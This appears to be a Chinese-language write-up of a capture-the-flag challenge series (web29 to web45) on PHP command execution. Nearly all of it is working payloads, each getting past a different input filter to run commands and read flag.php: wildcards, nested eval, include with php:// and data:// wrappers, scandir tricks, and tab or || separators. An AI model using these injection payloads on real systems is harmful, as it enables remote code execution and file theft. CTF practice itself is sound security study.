web29
查看目录
由于flag被过滤,可以使用通配符进行绕过,查看flag.php
c=system("nl fla?????");
web30
在上一道题的基础上多了system和php
运用反引号查看目录 并查看flag.php(flag php被过滤 运用通配符)
web31
又加上了点、单引号和空格被过滤。我们可以通过shell中eval命令进行变量嵌套替换
c=eval($_GET[1]);&1=echo `nl flag.php `;
web32
过滤了括号以及分号
%0a换行符
include函数不用括号 分号可以用?>代替
c=include%0a$_GET[1]?>&1=php://filter/convert.base64-encode/resource=flag.php
web 33
多过滤了一个双引号,用require函数
c=require$_GET[1]?>&1=php://filter/convert.base64-encode/resource=flag.php
web 34 35
与上面类似 只是多过滤了符号
c=include$_GET[1]?>&1=php://filter/convert.base64-encode/resource=flag.php
c=include%0a$_GET[1]?>&1=php://filter/convert.base64-encode/resource=flag.php
web36
相比较增加了 过滤数字
将include的参数1改成字母,include的无括号包含可以不用空格
payload:?c=include$_GET[a]?>&a=php://filter/read=convert.base64-encode/resource=flag.php
web37
看到include函数,说明需要我们利用include函数命令执行,这里可以使用伪协议,同时利用字符串逃逸,绕过过滤
data伪协议命令执行:data:text/plain,<php代码; ?>
构造
payload:?c=data:text/plain; <?php system($_POST[1]);?> POST: 1=tac flag.php
利用POST提交的参数1进行逃逸绕过正则
web38
相比于web37 多过滤了php和 file使用data协议不过是base64编码或者用<?= ?>
来代替php
?c=data://text/palin,<?=system('cat fla?.???');?>
web39
同上一题
web40
过滤了好多符号
看题解
c=show_source(next(array_reverse(scandir(pos(localeconv())))));
只过滤了中文括号 没有过滤英文括号
?c=highlight_file(next(array_reverse(scandir(dirname(__FILE__)))));
?c=show_source(array_rand(array_flip(scandir(current(localeconv()))));
web42
题解
/dev/null 2>&1主要意思是不进行回显,让命令回显,我们进行命令分隔
输出黑洞
c=tac flag.php;
1:> 代表重定向到哪里,例如:echo “123” > /home/123.txt
2:/dev/null 代表空设备文件
3:2> 表示stderr标准错误
4:& 表示等同于的意思,2>&1,表示2的输出重定向等同于1
5:1 表示stdout标准输出,系统默认值是1,所以">/dev/null"等同于 “1>/dev/null”
因此,>/dev/null 2>&1 也可以写成“1> /dev/null 2> &1”
?c=tac flag.php;ls
;前面的被执行了返回结果,后面的执行了被放入/dev/null中
web43
在这基础上又过滤了; cat
c=cp flag.php 1.txt||
c=nl flag.php||
c=tac flag.php||
web44
c=tac fl*.php||
c=cp fl*.php 1.txt||
web45
题解
%09是Tab的url编码
payload:
c=tac%09fl*.php||